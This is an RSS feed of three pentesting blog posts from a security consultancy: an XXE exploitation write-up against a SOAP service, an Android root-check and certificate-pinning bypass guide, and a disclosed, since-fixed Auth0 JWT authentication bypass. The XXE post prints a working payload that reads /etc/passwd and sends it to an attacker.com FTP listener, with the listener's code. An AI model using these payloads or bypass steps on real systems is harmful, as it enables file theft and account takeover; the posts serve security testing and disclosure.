<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Cinta Infinita | Information Security on Medium]]></title>
        <description><![CDATA[Stories by Cinta Infinita | Information Security on Medium]]></description>
        <link>https://medium.com/@cintainfinita?source=rss-2a12fc8f6a16------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*P4yp1bH_eVcv-UskNYhyyw.png</url>
            <title>Stories by Cinta Infinita | Information Security on Medium</title>
            <link>https://medium.com/@cintainfinita?source=rss-2a12fc8f6a16------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 12:22:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cintainfinita/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Very cool XXE bug in a Web Service]]></title>
            <link>https://medium.com/@cintainfinita/very-cool-xxe-bug-in-a-web-service-fa5f66162d3f?source=rss-2a12fc8f6a16------2</link>
            <guid isPermaLink="false">https://medium.com/p/fa5f66162d3f</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Cinta Infinita | Information Security]]></dc:creator>
            <pubDate>Tue, 31 Mar 2020 16:33:42 GMT</pubDate>
            <atom:updated>2020-03-31T16:33:42.905Z</atom:updated>
            <content:encoded><![CDATA[<p>XXE offers a great attack avenue for reading files from a vulnerable Web Apps. I found an XXE bug in a SOAP Web Service during a pentest. The steps for exploitation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*NX0rthUMiuBlnt5f-tkRLw.png" /><figcaption>Common XXE scenario</figcaption></figure><p>I had in my server a specially crafted FTP python server (code is at the end of this write up). So, I put this server to listen in a TCP/8443 port.</p><p>Then, I created “evil.dtd” in my Web server directory (/var/www/html/evil.dtd). The content of evil.dtd was:</p><p>&lt;!ENTITY % param3 “&lt;!ENTITY &amp;#x25; exfil SYSTEM ‘ftp://attacker.com:8443/%data3;&#39;&gt;&quot;&gt;</p><p>Then, I sent the following HTTP request to victim host with the following payload:</p><blockquote><strong>Request:</strong><br>POST /SomeEndpoint HTTP/1.1<br>Accept-Encoding: gzip, deflate<br>Content-Type: text/xml;charset=UTF-8<br>SOAPAction: “http://xmlns.victim.com/SomeEndpoint&quot;<br>Content-Length: 177<br>Host: ws.victim.com:9443<br>[…]</blockquote><blockquote>&lt;?xml version=”1.0&quot;?&gt;<br>&lt;!DOCTYPE r [<br>&lt;!ENTITY % data3 SYSTEM “file:///etc/passwd”&gt;<br>&lt;!ENTITY % sp SYSTEM “http://attacker.com/evil.dtd&quot;&gt;<br>%sp;<br>%param3;<br>%exfil;<br>]&gt;</blockquote><p>As a result, We could see in a terminal from our server the content of the “/etc/passwd” file of the victim (delivered by our FTP service).</p><p>The Python code of <strong>ftp.py</strong> server specially crafted:</p><blockquote>#!/usr/env/python<br>from __future__ import print_function import socket <br>s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind((‘0.0.0.0’,80))<br>s.listen(1)<br>print(‘XXE-FTP listening ‘) <br>conn,addr = s.accept() print(‘Connected by %s’,addr) conn.sendall(‘220 Staal XXE-FTP\r\n’) stop = False<br>while not stop: <br>dp = str(conn.recv(1024))<br>if dp.find(“USER”) &gt; -1:<br>conn.sendall(“331 password please — version check\r\n”) else: <br>conn.sendall(“230 more data please!\r\n”) if dp.find(“RETR”)==0 or dp.find(“QUIT”)==0: <br>stop = True<br>if dp.find(“CWD”) &gt; -1:<br>print(dp.replace(‘CWD ‘,’/’,1).replace(‘\r\n’,’’),end=’’) else: <br>print(dp) <br>conn.close()<br>s.close()</blockquote><p>I hope you enjoy this write up. Happy Hacking!</p><p>Alan “El Mago” Levy<br>Security Consultant Cinta Infinita</p><h3>About Cinta Infinita</h3><p>Hope you liked the post! If you would like to contact us, please visit <a href="http://cintainfinita.com/">http://cintainfinita.com</a> or write to <a href="/service/mailto:contact@cintainfinita.com.ar">contact@cintainfinita.com.ar</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fa5f66162d3f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android: How to Bypass Root Check and Certificate Pinning]]></title>
            <link>https://medium.com/@cintainfinita/android-how-to-bypass-root-check-and-certificate-pinning-36f74842d3be?source=rss-2a12fc8f6a16------2</link>
            <guid isPermaLink="false">https://medium.com/p/36f74842d3be</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[mobile]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Cinta Infinita | Information Security]]></dc:creator>
            <pubDate>Thu, 06 Feb 2020 16:44:57 GMT</pubDate>
            <atom:updated>2020-02-06T18:53:04.147Z</atom:updated>
            <content:encoded><![CDATA[<p>Recently I needed to pentest an Android application. When I installed the app to my virtual device (Android Emulator), a pop up notification came out saying “This app can’t run in rooted devices”… so I needed a solution.</p><p>After a quick Google search, I found the first way… bypassing using an “Xposed” module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*7GjcgS2YhVPj1oRaZ2-Erw.jpeg" /></figure><blockquote><strong><em>Bypass Root Check Using Xposed:<br></em></strong><em>1) Install Xposed </em><a href="https://repo.xposed.info/module/de.robv.android.xposed.installer"><em>https://repo.xposed.info/module/de.robv.android.xposed.installer</em></a><em><br>2) Install “RootCloak” (Xposed Module)<br>3) Open RootCloak &gt; Add/Remove Apps &gt; (select target app) and tap it.<br>4) Done! (open app and check if it’s works)</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*w5k_fn7lblOQ80012s25cw.png" /></figure><p>Unfortunately this didn’t work for me, so… let’s do this the “hard way” (or should i say… “old school”? :) ).</p><blockquote><strong><em>Bypass Root Check Manual Way:<br></em></strong><em>1) Decompile the APK file using “APKTool”<br># apktool d /path/to/apk/target.apk -o /path/to/output/<br>(“d” for “decompile” and “-o” for output dir)<br>2) Most root detection techniques rely on checking for files on the OS that indicate the device has been rooted. Using GREP, search for any of the follow strings and change them to something random:<br>- Superuser<br>- Supersu<br>- /su<br>- /system/app/Superuser.apk<br>- /system/bin<br>- /system/bin/su<br>- /system/sd/xbin<br>- /system/xbin/su<br>- /system/xbin<br>- /data/local<br>- /data/local/bin<br>- /data/local/xbin<br>- /sbin<br>- /system/bin/failsafe<br>- /vendor/bin</em></blockquote><blockquote><em>Note: Other detection techniques look for any of the below-installed packages on the mobile device at runtime:<br>- supersu.apk<br>- Busybox<br>- Root Cloak<br>- Xpose framework<br>- Cydia<br>- Substrate</em></blockquote><blockquote><em>3) Build the new version of APK with APKTool:<br># apktool b /path/to/modified apk/target-new.apk -o /path/to/output/<br>(“b” for “build” and “-o” for output dir)</em></blockquote><blockquote><em>4) Sign with jarsigner tool<br># /path/to/my-key.keystore </em><strong><em>-storepass</em></strong><em> password </em><strong><em>-keypass</em></strong><em> password target-new.apk </em><strong><em>alias_name</em></strong></blockquote><blockquote><em>(You may need to generate the keystore first with keytool:)<br></em><strong><em># keytool -genkey -v -keystore</em></strong><em> my-key.keystore </em><strong><em>-alias</em></strong><em> alias_name </em><strong><em>-keyalg</em></strong><em> RSA </em><strong><em>-keysize </em></strong><em>2048 </em><strong><em>-validity</em></strong><em>10000</em></blockquote><blockquote><em>5) Finally, install the new version and enjoy!</em></blockquote><p><strong>Bonus Track:<br></strong>If you need to bypass Certificate Pinning (in order to use the app with Burp Proxy for example) you can do this:</p><blockquote><strong><em>Bypass Certificate Pinning With “Xposed” module:</em></strong><em><br>1) Once you have Xposed installed on your phone, search for “SSLUnpinning” module. Install it.<br>2) Open SSLUnpinning, look for the app on which you are trying to bypass the certificate pinning, and select it.</em></blockquote><p>Happy Hacking!</p><p>Alan “El Mago” Levy<br>Security Consultant Cinta Infinita</p><h4>About Cinta Infinita</h4><p>Hope you liked the post! If you would like to contact us, please visit <a href="http://cintainfinita.com/">http://cintainfinita.com</a> or write to <a href="/service/mailto:contact@cintainfinita.com.ar">contact@cintainfinita.com.ar</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=36f74842d3be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Knocking Down the Big Door]]></title>
            <link>https://medium.com/@cintainfinita/knocking-down-the-big-door-8e2177f76ea5?source=rss-2a12fc8f6a16------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e2177f76ea5</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cintainfinita]]></category>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Cinta Infinita | Information Security]]></dc:creator>
            <pubDate>Wed, 04 Apr 2018 17:09:47 GMT</pubDate>
            <atom:updated>2018-04-04T19:38:08.925Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*5brzGrzlb9pILxBdrcQAFA.jpeg" /></figure><h4>How We Bypassed the Auth0 Authentication</h4><p>With more than 2000 enterprise customers and managing 1.5 billion logins every single day, <strong>Auth0</strong> is one of the biggest Identity Platforms. In this post we will tell the story of how we, at <strong>Cinta Infinita</strong>, found an <strong>Authentication Bypass</strong> V<strong>ulnerability</strong> that affected <strong><em>any application</em></strong> using <strong>Auth0 </strong>(for username and password authentication) in the context of an independent non-profitable research.</p><p>We will demonstrate the flaw attacking the Auth0 Management Console (used as one exploitable example application).</p><p>One important fact to mention is that the described vulnerability would allow malicious users to run cross-company attacks, allowing them to access any portal / application protected with Auth0 with minimum knowledge. The only thing a malicious user needed to perform the attack was administrative access to any Auth0 account and, since registration is free, this requirement could be trivially fulfilled.</p><p>To fully understand what follows, you need to know some basic concepts about JSON Web Tokens (JWT). If you already know how they work, you can skip this section.</p><blockquote><a href="http://jwt.io/">JSON Web Token</a> (JWT) is a compact, URL-safe means of representing claims to be transferred between two parties, described in <a href="https://tools.ietf.org/html/rfc7519">RFC 7519</a>. The claims in a JWT are encoded as a JSON object that is used as the payload of a JSON Web Signature (JWS) structure or as the plaintext of a JSON Web Encryption (JWE) structure, enabling the claims to be digitally signed or integrity protected with a Message Authentication Code (MAC) and/or encrypted.</blockquote><p>So, basically, a JWT is a JSON object containing a number of claims that is signed server side with a secret key (or a private certificate). Its security relies on the fact that only the issuer knows the key (or holds the private certificate) to sign and verify the tokens.</p><h4>1. Motivation</h4><p>The story begins in September 2017, while we were pentesting an application which we will call “<strong>SecureApp”</strong>. The application was already in production but we were testing in a <strong>DEV</strong> environment, and it used <strong>Auth0</strong> for authentication.</p><p>The authentication flow looked like the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6A7_VBJdzLWgEi26R3Lcbg.png" /><figcaption>Example Authentication flow</figcaption></figure><p>The response marked in red contains a signed JWT with the following claims in its payload:</p><pre>{<br> &quot;id&quot;: 48,<br> &quot;user_id&quot;: 48,<br> &quot;username&quot;: &quot;user1@test.com&quot;,<br> &quot;iat&quot;: 1516146210,<br> &quot;exp&quot;: 1516146270,<br> &quot;aud&quot;: &quot;urn:auth0:secureapp:secureapp-dev&quot;,<br> &quot;iss&quot;: &quot;urn:auth0&quot;<br>}</pre><p>We couldn’t modify this payload because it had been signed, but we could try to reuse it. So, armed with a proxy, we captured <strong>a valid “wresult” JWT from the DEV environment and injected it into a login flow in PROD</strong>, and <strong>it worked! </strong>We were able to access the account for that user in the production environment.</p><p><strong>The question is then, are DEV and PROD environments using the same signing keys / certificates? What else is wrong?</strong></p><p>After we found this, we tried using this kind of attack to jump through different apps within the organization. Think of a “user_id” value that identifies an internal user, and multiple applications that rely on that identifier. We could now access all of them even when we didn’t have valid credentials for them.</p><p><em>How can we take this a step further?</em></p><p>Since the <a href="https://manage.auth0.com/"><strong>Auth0 Management Console</strong></a> uses this type of authentication, we tried to reproduce our attack there.</p><h4>2. Attacking the Auth0 Management Console</h4><p>We used the same approach to analyze the Management Console login flow, and we received the following JWT in the “wresult” parameter.</p><pre>{<br> &quot;user_id&quot;: &quot;59c5a39c5315152c967cc031&quot;,<br> &quot;email&quot;: &quot;nahuel@cintainfinita.com.ar&quot;,<br> &quot;email_verified&quot;: true,<br> &quot;iat&quot;: 1506952673,<br> &quot;exp&quot;: 1506952733,<br> &quot;aud&quot;: &quot;urn:auth0:auth0:auth0&quot;,<br> &quot;iss&quot;: &quot;urn:auth0&quot;<br>}</pre><p>In order to hijack an account, we would need to forge a valid JWT with that user’s information. At this point, there are two pieces of information we don’t have access to:</p><ol><li>the “user_id” (not trivial like an email address or an incremental integer, but for other applications this could be the case — see our first example -)</li><li>the signing key (or private certificate)</li></ol><p><strong>We found a way to obtain the “user_id” for any user</strong> with a little bit of “social engineering”. You would need to invite the victim to one of your tenants and, after the invitation is accepted, delete that user from the tenant. <strong>The “delete” HTTP request contains the “user_id” for that user</strong> (this was just one possible technique and there might be other ways to get the “user_id”).</p><p>We were not able to extract the signing key nor obtain the private certificate, but <strong>we found a functionality that could be used (or abused) as an oracle to generate valid JWTs with arbitrary payloads</strong>. The Management Console allows you to create Database Action Scripts that are executed every time a user logs in. We created a simple “Database Action Script” that returned the needed values for the profile:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WpxZJ-OhveXZWExW." /><figcaption>Forging our victim’s JWT using this functionality as an oracle</figcaption></figure><p>From the above picture you can observe the “user_id” <strong>59d60fef8025c603ce735e02</strong> (obtained using the “social engineering” technique we described) and also the “email” for the selected victim. This “user_id” looks like a Mongo ObjectId (thanks <a href="https://twitter.com/andresriancho">@andresriancho</a>).</p><p>After hitting the “Try Connection” button, and filling the login form with arbitrary values, the following <strong>signed JWT</strong> was returned.</p><pre>{<br> &quot;user_id&quot;: &quot;59d60fef8025c603ce735e02&quot;,<br> &quot;email&quot;: &quot;nahuel+victima@cintainfinita.com.ar&quot;,<br> &quot;email_verified&quot;: true,<br> &quot;iat&quot;: 1507203410,<br> &quot;exp&quot;: 1507203470,<br> &quot;aud&quot;: &quot;urn:auth0:atacante:Username-Password-Authentication&quot;,<br> &quot;iss&quot;: &quot;urn:auth0&quot;<br>}</pre><blockquote>Take into account that the values of “aud”, “iat” and “exp” are fixed by the Auth0 server in the response, bound to the tenant and database (even if they are specified in the forged JSON they are omitted by the server). In this case the tenant is “atacante” (attacker in Spanish) and the database is “Username-Password-Authentication”.</blockquote><p>So, now we had the ability to forge a valid signed JWT with the “email” and “user_id” of the victim. It was time to try the attack. Will it work? Well, grab some popcorn and watch the video.</p><p>First, some details to help you follow the video:</p><ul><li>“Atacante” is the attacker account</li><li>“nahuel+victima@cintainfinita.com.ar” will be the victim email address and its user_id (the important one) is <strong>59d60fef8025c603ce735e02</strong></li><li>We use the very well-known tool “Burp Suite” to manipulate the HTTP traffic and forge the requests</li></ul><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F9E7kfdGN1eY%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D9E7kfdGN1eY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F9E7kfdGN1eY%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/bbb5d6ad62ece9c05a3a573ad22284f9/href">https://medium.com/media/bbb5d6ad62ece9c05a3a573ad22284f9/href</a></iframe><p>It worked!! Why? The audience claim was not being checked and JWTs generated from our test application were accepted by the Management Console app (same signing key / private certificate).</p><blockquote><strong>Could we use this attack to access arbitrary applications?</strong> Yes, as long as we know the expected fields and values for the JWT. There is no need of social engineering in most of the cases we saw. Authentication for applications that use an email address or an incremental integer for user identification would be trivially bypassed.</blockquote><h4>3. Vendor Response</h4><p><strong>We disclosed this finding to the Auth0 Security Team in October 2017</strong> following our <a href="http://cintainfinita.com/disclosure.html">Responsible Disclosure Policy</a> and they acted really fast. We worked together with their team and the vulnerability was fixed in less than 4 hours in their Public SaaS.</p><p>The “audience” claim is now being correctly validated and the attack is no longer possible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/0*th5UCh5YyfNIEpDE." /><figcaption>After the fix, you get the following error when trying this attack</figcaption></figure><p>We waited for six months before publicly disclosing this issue so that <strong>Auth0</strong> could update all their Private SaaS Appliances (on-premise) as well.</p><p>Auth0 published a blog post about their internal vulnerability management and remediation process where they mention our finding and the assistance we provided: <a href="https://auth0.com/blog/managing-and-mitigating-security-vulnerabilities-at-auth0/">https://auth0.com/blog/managing-and-mitigating-security-vulnerabilities-at-auth0/</a></p><blockquote><strong>We would like to thank the Auth0 Team, specially Joan Pepin, Matias Woloski and Duncan Godfrey, for the way they treated us and how they handled this finding. Great team!</strong></blockquote><h4>4. More to come?</h4><p>Yes!. We are preparing some similar ideas and recommendations for .NET Web applications running on IIS or Azure using SAML authentication (Federation). Stay tuned!</p><h4>5. About Cinta Infinita</h4><p>Hope you liked the post! If you would like to contact us, please visit <a href="http://cintainfinita.com/">http://cintainfinita.com</a> or write to <a href="/service/mailto:contact@cintainfinita.com.ar">contact@cintainfinita.com.ar</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e2177f76ea5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>